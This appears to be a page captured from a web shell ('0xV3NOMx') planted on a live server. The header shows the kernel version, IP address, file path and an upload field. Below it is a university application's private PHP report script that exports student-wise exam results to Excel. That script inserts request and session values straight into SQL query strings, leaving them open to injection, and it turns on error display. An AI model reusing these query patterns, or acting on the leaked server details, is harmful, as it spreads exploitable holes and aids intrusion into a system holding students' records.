0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.217.26.8


Current Path : /var/www/oasis/Report_details/
Upload File :
Current File : /var/www/oasis/Report_details/studentwiseresultExcelReport.php

<?php
$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('GMT+5:30');
ini_set('max_execution_time', 300);
ini_set('memory_limit', '2G');

if (PHP_SAPI == 'cli')
    die('This example should only be run from a Web Browser');

$pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php';
require_once($pdf_writer_class);

function getheaders($objPHPExcel, $fileName)
{
   
    ini_set('max_execution_time', '300');
    $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false);

    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment;filename=' . $fileName);
    header('Cache-Control: max-age=0');
    header('Cache-Control: max-age=1');
    header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); 
    header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); 
    header('Cache-Control: cache, must-revalidate'); 
    header('Pragma: public'); 
    ob_clean();
    $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
    $objWriter->save('php://output');
}
function studentwiseresultExcel($aobj_context)
{	
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
   
        $collcode=$_SESSION['collcode'];
        $funivcode = $_SESSION['FUNIVCODE'];
        $degree = $aobj_context->mobj_data["degree"]; 
		$degexam = $aobj_context->mobj_data["degexam"];
		$yearmode = $aobj_context->mobj_data["yearmode"];
		$section = $aobj_context->mobj_data["section"];
// var_dump($funivcode);die();
	
		$yearmode = explode("*",$yearmode);
		$year = $yearmode[0];
		$examtye = $yearmode[1];
		if($funivcode =="055"){
			$subjDet="Course Details";

		}else{
			$subjDet="Subject Details";

		}
	
		$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
		$main_src=$main_src_obj[1];
		$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
		$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_me_student_list.pdf";
		
		include($pdf_writer_class);	

		$collname="SELECT fcollname FROM college WHERE fcollcode='$collcode'";
		$res=$aobj_context->mobj_db->GetRow($collname);
		$get_date= "select NOW()  as now_date,
		CONCAT('[',fcollcode,'] ', fcollname,', ',FTOWN) as college_name,
		dg.fexamdate as fresexamdate, d.fdescpn, d.fexamname from college c, degree d, degexam dg 
		where fcollcode = '{$collcode}' and d.fdegree = '{$degree}'
		and d.fdegree = dg.fdegree and d.fexamno = dg.fexamno 
		and d.fexamno = '{$degexam}'
		and dg.fyear = '{$year}'
		and dg.fexamtype = '{$examtye}'";
		
		$obj=$aobj_context->mobj_db->GetRow($get_date);

		$cnd = "";
		$cnd2 = "ifnull(st.fsection,'All') as fsection";

			if( strtoupper($section) != 'ALL')
			{
				if($funivcode == '052')
				{
					if($degexam == 'A' || $degexam == 'B')
					{	
						$cnd = "and st.foldsection = '{$section}'";
						$cnd2 = "ifnull(st.foldsection,'All') as fsection";
					}
					else
						$cnd = "and st.fsection = '{$section}'";
				}else
				{
					$cnd = "and st.fsection = '{$section}'";
				}
			}

		$cond = '';
		if($funivcode == '052'){
			
			if($degexam == 'A' || $degexam == 'B')
				$cnd2 = "ifnull(st.foldsection,'All') as fsection";

				$cond = 'order by s.fsubshort';
		}



		$query="SELECT r.fdegree,r.fexamno,r.fregno,r.fyear,r.fexamtype,sum(if((
				r.fgrade ='F' or r.fgrade ='NE' or r.fgrade ='Fail' or r.fgrade ='MP' or r.fgrade ='AB'),0,r.fcredits / 2)) as credits,
				{$cnd2},
				GROUP_CONCAT(DISTINCT CONCAT(IF(r.FSCHEME = 'CR',r.fgrade,(fthtot+fprtot)),'*',s.fsubshort)$cond) AS subdet, r.fclass,r.fsgpa FROM resmarks r 
				INNER JOIN `subject` s ON r.fsubcode = s.fsubcode
				AND r.fdegree = s.fdegree AND r.fexamno = s.fexamno 
				inner join student st on r.fregno = st.fregno 
				WHERE r.fdegree='{$degree}' AND r.fexamno='{$degexam}' 
				AND r.fyear='{$year}' AND r.fexamtype='{$examtye}'
				{$cnd}
				GROUP BY fregno
				order by ifnull(st.fsection,''),st.fregno";
			
	  $results =  $aobj_context->mobj_db->GetAll($query);
	 
		$objPHPExcel = new PHPExcel();
		
		$fileName = 'studentwiseResultExcel.xls';
		
		$objPHPExcel->getProperties()->setCreator("Uniclare")
		->setLastModifiedBy("Me")->setTitle("My Excel Sheet")
		->setSubject("My Excel Sheet")->setDescription("Excel Sheet")
		->setKeywords("Excel Sheet")->setCategory("Me");
		
		$objPHPExcel->setActiveSheetIndex(0);
		
		$styleArray = array(
			'borders' => array(
				'allborders' => array(
					'style' => PHPExcel_Style_Border::BORDER_THIN,
					'color' => array('argb' => '000000'),
				),
			),
		);
	  $objPHPExcel->getActiveSheet()->getStyle('1:5')->getFont()->setBold(true);
	  $objPHPExcel->getActiveSheet()->getStyle('1:5')->getFont()->setSize(12);
	  $objPHPExcel->getActiveSheet()->getRowDimension(1)->setRowHeight(25);
	  $objPHPExcel->getActiveSheet()->getRowDimension(2)->setRowHeight(25);
	  $objPHPExcel->getActiveSheet()->getRowDimension(3)->setRowHeight(25);
	  $objPHPExcel->getActiveSheet()->getColumnDimension('A5')->setwidth(40);
	  $objPHPExcel->getActiveSheet()->freezePane('A6');
	  $objPHPExcel->getActiveSheet()->setCellValue('A5', 'Sl No.');
	  $objPHPExcel->getActiveSheet()->setCellValue('B5', 'USN');
	  $objPHPExcel->getActiveSheet()->setCellValue('C5', $subjDet);
	  $subdet=count(explode(',',$results[1]['subdet']));
	 
	   $subcount = 0;
	   foreach($results as $val){
		   if(count(explode(',',$val['subdet'])) > $subcount){
			   $subcount = count(explode(',',$val['subdet']));
			
		   }
	   }
	   $alpha=['C6','D6','E6','F6','G6','H6','I6','J6','K6'];
	   $objPHPExcel->getActiveSheet()->setCellValue('A1', $res['fcollname']);
	   $objPHPExcel->getActiveSheet()->setCellValue('A2', "PROVISIONAL RESULT SHEET"."-". $obj['fresexamdate']."EXAMINATION");
	   $objPHPExcel->getActiveSheet()->setCellValue('A3', $obj['fexamname']."-". $obj['fdescpn']."[". $degree."]");
	   $objPHPExcel->getActiveSheet()->setCellValue('A4',"Section".":".$section);
	   $objPHPExcel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
	   $objPHPExcel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
	   $objPHPExcel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
	   $objPHPExcel->getActiveSheet()->getStyle('C5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
	   $objPHPExcel->getActiveSheet()->getStyle('A4')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);
	
	   $alphgabets = ['C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N','O','Q','R','S','T','U','V','W','X'];
	  
		foreach($results as $key => $value){
			
			$slNo = $key + 6;
			$subres1=substr($value['subdet'],0);
            $submarks=explode(",",$subres1);
			$space=count($submarks);
			$subdetcount = count($submarks);
			$objPHPExcel->getActiveSheet()->mergeCells('C5:'.$alphgabets[$space-1].'5');
			$objPHPExcel->getActiveSheet()->setCellValue($alphgabets[$space].'5', 'Credits');
			if($funivcode == '055'){
				$con=$objPHPExcel->getActiveSheet()->setCellValue($alphgabets[$space+1].'5', 'S.G.P.A');
				$con0=$objPHPExcel->getActiveSheet()->setCellValue($alphgabets[$space+2].'5', 'Remarks');
				$con1=$alphgabets[$space+2];
				
			}else{
				$con=$objPHPExcel->getActiveSheet()->setCellValue($alphgabets[$space+1].'5', 'Remarks');
				$con0='';
				$con1=$alphgabets[$space+1];
			}
		
			$con;
			$con0;
			$objPHPExcel->getActiveSheet()->mergeCells('A1:'.$con1.'1');
			$objPHPExcel->getActiveSheet()->mergeCells('A2:'.$con1.'2');
			$objPHPExcel->getActiveSheet()->mergeCells('A3:'.$con1.'3');
			$objPHPExcel->getActiveSheet()->mergeCells('A4:'.$con1.'4');
			$objPHPExcel->getActiveSheet()->getRowDimension($slNo)->setRowHeight(25);
			$objPHPExcel->getActiveSheet()->setCellValue('A' . $slNo, $slNo - 5)->getColumnDimension('A')->setwidth(8);
			$objPHPExcel->getActiveSheet()->setCellValue('B' . $slNo, $value['fregno'])->getColumnDimension('B')->setwidth(15);
			$objPHPExcel->getActiveSheet()->getStyle('A1:'.$con1.'4')->applyFromArray($styleArray);
			// $objPHPExcel->getActiveSheet()->getStyle('A3:'.$con1.'4')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
			$objPHPExcel->getActiveSheet()->getStyle('A4:'.$con1.'4')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);
			$explode = explode(",", $value['subdet']);
			$i=0;
            $course=count($explode);
		
			foreach($explode as $v){
				$ex = explode("*",$v);
				$objPHPExcel->getActiveSheet()->setCellValue($alphgabets[$i].$slNo, $ex[1]." "."-"." ".$ex[0])->getColumnDimension($alphgabets[$i])->setwidth(15);
				$i++;
			}
		

			$objPHPExcel->getActiveSheet()->setCellValue($alphgabets[$space] . $slNo,$value['credits'])->getColumnDimension($alphgabets[$space])->setwidth(10); 
            $objPHPExcel->getActiveSheet()->setCellValue($alphgabets[$space+1] . $slNo,$value['fsgpa'])->getColumnDimension($alphgabets[$space+1])->setwidth(10); 
			$objPHPExcel->getActiveSheet()->setCellValue($con1 . $slNo,$value[''])->getColumnDimension($con1)->setwidth(10); 

			$objPHPExcel->getActiveSheet()->getStyle('A' . $slNo . ':B' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
			$objPHPExcel->getActiveSheet()->getStyle('A' . $slNo . ':B' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
	
			$objPHPExcel->getActiveSheet()->getStyle('C' . $slNo . ':'.$con1 . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
			$objPHPExcel->getActiveSheet()->getStyle('C' . $slNo . ':'.$con1 . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
			
			$objPHPExcel->getActiveSheet()->getStyle('A'.$slNo.':'.$con1.$slNo)->applyFromArray($styleArray);
			
		}

	
		
		getheaders($objPHPExcel, $fileName);
}
?>